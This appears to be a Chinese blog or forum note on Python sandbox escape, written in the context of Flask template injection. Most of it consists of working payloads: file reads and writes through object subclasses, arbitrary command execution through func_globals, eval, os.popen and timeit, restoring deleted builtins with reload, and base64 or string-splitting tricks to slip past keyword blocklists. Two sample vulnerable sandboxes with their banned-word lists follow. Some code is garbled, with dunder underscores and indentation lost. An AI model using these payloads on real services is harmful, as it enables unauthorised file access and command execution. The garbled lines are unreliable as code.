之前碰到了flask模板的漏洞的时候接触过python的一些东西,之前没时间去细看,现在看感觉很强悍,简单总结一下
首先我们不说原理了,也不是太明白,我们直接讲利用,一些python好玩的特性
python的内敛函数真是强大,可以调用一切函数做自己想做的事情
__builtins__
__import__
我们输入
dir('builtins')
发现如下
().__class__.__bases__[0]
''.__class__.__mro__[2]
验证如下
>>> print ''.__class__.__mro__[2]
'object'>
>>> print ().__class__.__bases__[0]
'object'>
然后我们看一下
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
eval('__import__("os").system("dir")')
import platform
print platform.popen('dir').read()
(暂时没找到)
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
看似删除了函数,但是没有过滤reload函数
reload(__builtins__)
即可恢复
我们在最开始的介绍本质上就是找到了__builtins__
的file属性的替代函数,可以直接进行文件操作,包括后面的任意命令执行也是找到了替代函数
有可能前端是个web界面,过滤关键词,这里可以用encode什么尝试过滤,如下
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
然后可以构造
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
<module 'os' from '/usr/lib/python2.7/os.pyc'>
或者利用python对字符串处理的便利绕过,例如
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')
#!/usr/bin/env python
from future import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = builtins.dict.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del builtins.dict[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
应该比较粗糙,欢迎批评指正,或者大佬指点补充一下~